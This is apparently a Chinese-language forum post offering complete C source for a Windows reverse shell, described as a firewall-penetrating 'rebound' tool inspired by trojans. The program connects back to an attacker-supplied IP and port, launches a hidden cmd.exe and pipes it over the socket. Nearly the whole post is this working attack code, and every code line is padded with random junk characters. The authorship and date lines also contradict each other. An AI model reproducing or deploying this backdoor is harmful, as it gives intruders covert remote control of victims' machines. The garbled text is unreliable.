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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0Is,*Srr  
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/* ============================== RkH W   
Rebound port in Windows NT x[wq]q#*  
By wind,2006/7 `slL %j^"  
===============================*/ Yl4^AR&  
#include M>wYD\oeg  
#include D"Bl:W'?j  
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#pragma comment(lib,"wsock32.lib") yh Yb'GK  
s>B5l2Q4  
void OutputShell(); 7L`A{L  
SOCKET sClient; )IP,;<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iZ#!O* >  
]{)a,c NG  
void main(int argc,char **argv) 4,bv)Im+ `  
{ Ttu2skcv  
WSADATA stWsaData; sv: 9clJ  
int nRet; nno}e/zqf  
SOCKADDR_IN stSaiClient,stSaiServer; 6LOnU~l,  
&vo--V1|  
if(argc != 3) 09X01X[  
{  ,V,`Jf  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^!<U_;+  
return; l7XUXbYp&=  
} !^^?dRd*v  
;;_,~pI?k  
WSAStartup(MAKEWORD(2,2),&stWsaData); Vi>,kF.f V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n&{Dq}q  
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stSaiClient.sin_family = AF_INET; 6.CbAi3Z  
stSaiClient.sin_port = htons(0); gQo]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;\a YlV-  
&v$rn#l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TC @s  
{ \a5U8shc  
printf("Bind Socket Failed!\n"); ]9YJ,d@J  
return; $yn];0$J  
} 8UW^"4  
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stSaiServer.sin_family = AF_INET; -|J"s$yO4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HKU~UTRnZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -MW_| MG  
%z /hf  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~k\fhx  
{ ; o?-yI&T*  
printf("Connect Error!"); =[H;orMr  
return; [=E  
} &R[ M c-2  
OutputShell(); *EOdEFsR/  
} ?^H `M|S  
qIVx9jNN  
void OutputShell() -l`f)0{  
{ %b%-Ogz;4  
char szBuff[1024]; I(]}XZq  
SECURITY_ATTRIBUTES stSecurityAttributes; G^~k)6v=m  
OSVERSIONINFO stOsversionInfo; x^HGVWw_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SFB~ ->db  
STARTUPINFO stStartupInfo; hU(umL<  
char *szShell; :V1W/c  
PROCESS_INFORMATION stProcessInformation; MC?,UDNd%  
unsigned long lBytesRead; gcE|#1>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u5O+1sZ"6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o}$XH,-9&  
stSecurityAttributes.lpSecurityDescriptor = 0; $Wjww-mx  
stSecurityAttributes.bInheritHandle = TRUE;  W,4QzcQR  
qmnZAk  
!2 LCLN\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *}]Nf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jq-p;-i  
;Yx)tWQI  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8}c$XmCM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?{\nf7Y  
stStartupInfo.wShowWindow = SW_HIDE; E%+Dl=  
stStartupInfo.hStdInput = hReadPipe; Ky|88~}:C9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8I-u2Y$Sr  
u\E?Y[1  
GetVersionEx(&stOsversionInfo); Usr@uI#{J  
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switch(stOsversionInfo.dwPlatformId) ST2.:v;lb  
{ /mXBvY  
case 1: 6FUw"|\u{  
szShell = "command.com"; ?5U2D%t  
break;  +EFgE1w  
default: g'p K  
szShell = "cmd.exe"; 9:fOYT$8  
break; B.wYHNNV  
} *meZ8DV2DH  
FqkDKTS\&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `sUZuWL_  
7Ilm{@ b=  
send(sClient,szMsg,77,0); 3Vsc 9B"w  
while(1) #hW;Ju73  
{ nIAx2dh?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8yRJD[/S  
if(lBytesRead) r>dwDBE  
{ 6Se?sHC>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fXXr+Mor  
send(sClient,szBuff,lBytesRead,0); ji1viv  
} YsG%6&zEq  
else sC27FVwo  
{ /,1D)0  
lBytesRead=recv(sClient,szBuff,1024,0); \X<bH&x:z  
if(lBytesRead<=0) break; e`@ # *}A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `Y BC  
} INcg S MM  
} tna .52*/  
@xQgY*f#  
return; T#M,~lD  
}
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